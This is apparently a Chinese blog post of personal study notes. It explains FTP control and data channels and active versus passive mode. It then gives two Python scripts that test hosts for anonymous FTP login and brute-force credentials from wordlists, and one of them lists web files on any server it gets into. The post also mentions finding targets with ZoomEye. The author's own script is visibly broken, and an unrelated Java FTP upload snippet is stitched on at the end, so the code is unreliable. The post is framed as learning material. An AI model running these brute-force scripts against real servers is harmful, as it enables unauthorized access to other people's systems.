4.FTP

FTP协议原理以及两种工作模式:

什么是FTP呢?

FTP 是 TCP/IP 协议组中的协议之一,是英文File Transfer Protocol的缩写。

简单的说,FTP就是完成两台计算机之间的拷贝,从远程计算机拷贝文件至自己的计算机上,称之为“下载 ”文件。若将文件从自己计算机中拷贝至远程计算机上,则称之为“上传(upload)”文件。在TCP/IP协议中,FTP标准命令TCP端口号为21,Port方式数据端口为20。

这里提到一个点:FTP标准命令TCP端口号为21,Port方式数据端口为20。后面再将工作模式的时候要用到,这里端口需要知道以下。

简单来说就是:客户端与服务器进行文件交互,包括下载和上传采用的一种协议

两种工作模式:

FTP是一种文件传输协议,它支持两种模式,一种方式叫做Standard (也就是 Active,主动方式),一种是 Passive (也就是PASV,被动方式)。 Standard模式 FTP的客户端发送 PORT 命令到FTP server。Passive模式FTP的客户端发送 PASV命令到 FTP Server。

基础知识:

FTP协议通讯有两个通道,分别是控制通道和数据通道

操控通道:操控通道是和FTP服务器进行沟通的通道,衔接FTP,发送FTP指令都是经过操控通道来完成的。

数据通道:数据通道是和FTP服务器进行文件传输或许列表的通道。

Standard工作模式:

我们先通过一张图了解整个过程:
在这里插入图片描述
[图源网络]
说一下连接流程:

  1. 客户端打开一个在本机的随机端口(>1024)X,向已知的FTP服务器的21端口发送连接请求并且在这个通道发送PORT命令;
  2. 告诉服务端自己已经监听在了Y端口等待,等待你的数据传输;
  3. 服务端收到后验证信息的有效性,如基于用户验证后;主动打开数据端口20把数据通过该端口发送给客户端的Y端口,完成数据传输。

这里就提到了21端口和20端口,前面已经提到过了,这里就不做过多解释了

Passive模式:

还是先来看一下Passive模式的工作流程:
在这里插入图片描述
[图源网络]

看一下他的工作流程:
1.在建立控制通道的时候和Standard模式类似,当客户端通过这个通道发送PASV 命令的时候,FTP server打开一个位于1024和5000之间的随机端口并且通知客户端在这个端口上传送数据的请求
2.然后FTP server 将通过这个端口进行数据的传送,这个时候FTP server不再需要建立一个新的和客户端之间的连接。

结合上面的图我们可以很简单的理解清楚这种工作模式

两种工作模式的区别:

相同之处:
1.都是由客户端去主动连接服务端的21端口
不同之处:
1.Standard需要建立两次连接,一次连接是客户端连接服务端的21端口,商量好后由客户端开X号端口接收数据后,再由服务端的20端口与客户端的X号端口建立连接,然后才能传输数据
2.Passive只需要建立一次连接,控制通道即为数据通道,但是这里需要注意的是,客户端连接了服务端21端口号,商量好服务端开Y号端口,客户端需要注意以下,然后由服务端Y号端口与客户端进行传输,这里只建立一次连接。

谈一谈Standard:

我们可以了解到Standard是需要建立两次连接的,一次是客户端主动去连接服务端,一次是服务端主动连接我们客户端,那么这里问题就出现在了第二次上面,一般来说,防火墙一般来说是不允许外界连接本机,那么我们的传输通道就会出问题,具体情况如下:
在这里插入图片描述通道命令可以建立,但是数据通道会被拦截

FTP暴力破解登录:

匿名登陆:

在破解之前,先了解一下匿名登陆:
互连网中有很大一部分 FTP 服务器被称为“匿名”(Anonymous)FTP 服务器。这类服务器的目的是向公众提供文件拷贝服务,不要求用户事先在该服务器进行登记注册,也不用取得FTP服务器的授权。Anonymous(匿名文件传输)能够使用户与远程主机建立连接并以匿名身份从远程主机上拷贝文件,而不必是该远程主机的注册用户。用户使用特殊的用户名“anonymous”登陆FTP服务,就可访问远程主机上公开的文件。许多系统要求用户将Emai1地址作为口令,以便更好地对访问进行跟综。

脚本:

import ftplib
def annologin(hostname):
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('anonymous','') #匿名登录
        print('\n'+hostname+'login success')
        return True
    except:
        print('\n'+hostname+'login false')
        return False
if __name__=="__main__":
    f=open(url.txt,'r')
    lines=f.readlines()
    for line in lines:
        url=line.replace('\n', '')
        annologin(url)
    f.close
def baoli(hostname):
    fo.open('username.txt')
    usernamelines=fo.readlines()
    for username in usernamelines:
        fox.open('passwd.txt')
        for passwd in fox.readlines():
            try:
                ftp=ftplib.FTP(hostname)          #实例化FTP连接
                ftp.login(username,passwd)
                print('\n'+username+passwd+'is success')
            except:
                pass
            ftp.quit()
if __name__=='__main__':
    annologin(hostname)
    try:
        if annologin(hostname):
            pass
        else:
            baoli(hostname)
    except:
        pass;



这里直接上脚本看就好了,对Ip端口进行一个简单的FTP是否存在匿名访问,如果不存在匿名访问,则暴力破解登录

贴上其他作者的脚本:

# -*- coding: utf-8 -*-
"""
Created on Sun Nov  4 12:12:41 2018
@author: 小谢
"""
import parser
import optparse
import ftplib
def anonLogin(hostname):     #验证是否可匿名登录
    try:
        ftp=ftplib.FTP(hostname)
        ftp.login('','')  #匿名登录
        print '\n[*] '+hostname +' FTP Anonymous Login Succeeded!'
        return (True,ftp)
    except:
        print '\n[-] '+str(hostname)+' FTP Anonymous Login Failed!'
        return (False,ftp)
def bruteLogin(hostname,passwdFile):  #暴力破解
    f=open(passwdFile,'r')
    lines=f.readlines()
    for line in lines:
        user=line.split(":")[0]                #用户名
        passwd=line.split(":")[1].strip("\n")  #密码
        try:
            ftp=ftplib.FTP(hostname)
            ftp.login(user,passwd)
            print '\n[*] '+hostname +' FTP Login Succeeded!'
            print("User:%s Password:%s"%(user,passwd))
            return(True,ftp)
        except Exception,e:
            pass
    print '\n[-] Could not brute force FTP credentials!'
    return(False,ftp)
def returnDefault(ftp):     #列出FTP目录下的网页文件
    try:
        dirList=ftp.nlst()   #列出FTP目录下的文件或目录
    except Exception,e:
        print e
        print '[-] Could not list directory contents!'
        return
    retList=[]
    for filename in dirList:
        fn=filename.lower()        #将目录名转换为小写
        if '.php' in fn or '.html' in fn or '.asp' in fn or '.jsp' in fn or '.htm' in fn:
            print'[+] Found default page:'+filename
            retList.append(filename)
    return retList
def main(): 
    usage="python %prog -H <target host> -F/f <password file>"  #显示文件的用法帮助信息
    parser=optparse.OptionParser(usage)   #实例化一个对象
    parser.add_option('-H',dest='Host',type='string',help='target host')
    parser.add_option('-f','-F',dest='File',type='string',help='target host')
    (options,args)=parser.parse_args()
    Host=options.Host
    File=options.File
    if Host==None:
        print(parser.usage)
        exit(0)
    if File==None:
        a=anonLogin(Host)
        if a[0]:
            returnDefault(a[1])  
    else:
        b=bruteLogin(Host,File)
        if b[0]:
            returnDefault(b[1])
    return 
if __name__=="__main__":
    main()

关于钟馗之眼实战搜索:

自己再钟馗之眼查询了一下FTP服务器,发现现在采用FTP协议的少止又少,大部分是ssh、scp,咨询了一下其他师傅,都说现在FTP已经被计网书删了都,目前让我快速过一遍。于是关于FTP的学习目前就到此为止,进行一个简单的学习了解,写一个探测脚本,如果后面遇到了,会在此基础之上继续学习

https://blog.csdn.net/p4885056000/article/details/79158408/

使用 sun.net.ftp.ftpclient 工具类进行文件上传需要以下步骤: 1. 建立 FTP 连接:使用 `FtpClient` 类的 `openServer` 方法建立连接,需要传入 FTP 服务器的地址和端口号。 2. 登录 FTP 服务器:使用 `FtpClient` 类的 `login` 方法登录 FTP 服务器,需要传入 FTP 服务器的用户名和密码。 3. 切换到上传目录:使用 `FtpClient` 类的 `cd` 方法切换到上传目录。 4. 设置上传模式:使用 `FtpClient` 类的 `setBinaryMode` 方法设置上传模式为二进制模式。 5. 上传文件:使用 `FtpClient` 类的 `put` 方法上传文件,需要传入本地文件的路径和上传后的文件名。 6. 关闭连接:使用 `FtpClient` 类的 `closeServer` 方法关闭连接。 以下是一个简单的上传文件的示例代码: ```java import sun.net.ftp.FtpClient; import java.io.FileInputStream; public class FtpUploader { public static void main(String[] args) throws Exception { String server = "ftp.example.com"; int port = 21; String username = "username"; String password = "password"; String localFilePath = "/path/to/local/file.txt"; String remoteFileName = "file.txt"; FtpClient ftpClient = new FtpClient(server, port); ftpClient.login(username, password); ftpClient.cd("/upload"); ftpClient.setBinaryMode(); FileInputStream fis = new FileInputStream(localFilePath); ftpClient.put(fis, remoteFileName); fis.close(); ftpClient.closeServer(); } } ``` 注意:`sun.net.ftp.FtpClient` 类是 Sun JDK 内部使用的类,不是公开的 API,因此可能会在不同版本的 JDK 中存在变化。建议使用第三方 FTP 客户端库,如 Apache Commons Net,来进行 FTP 操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值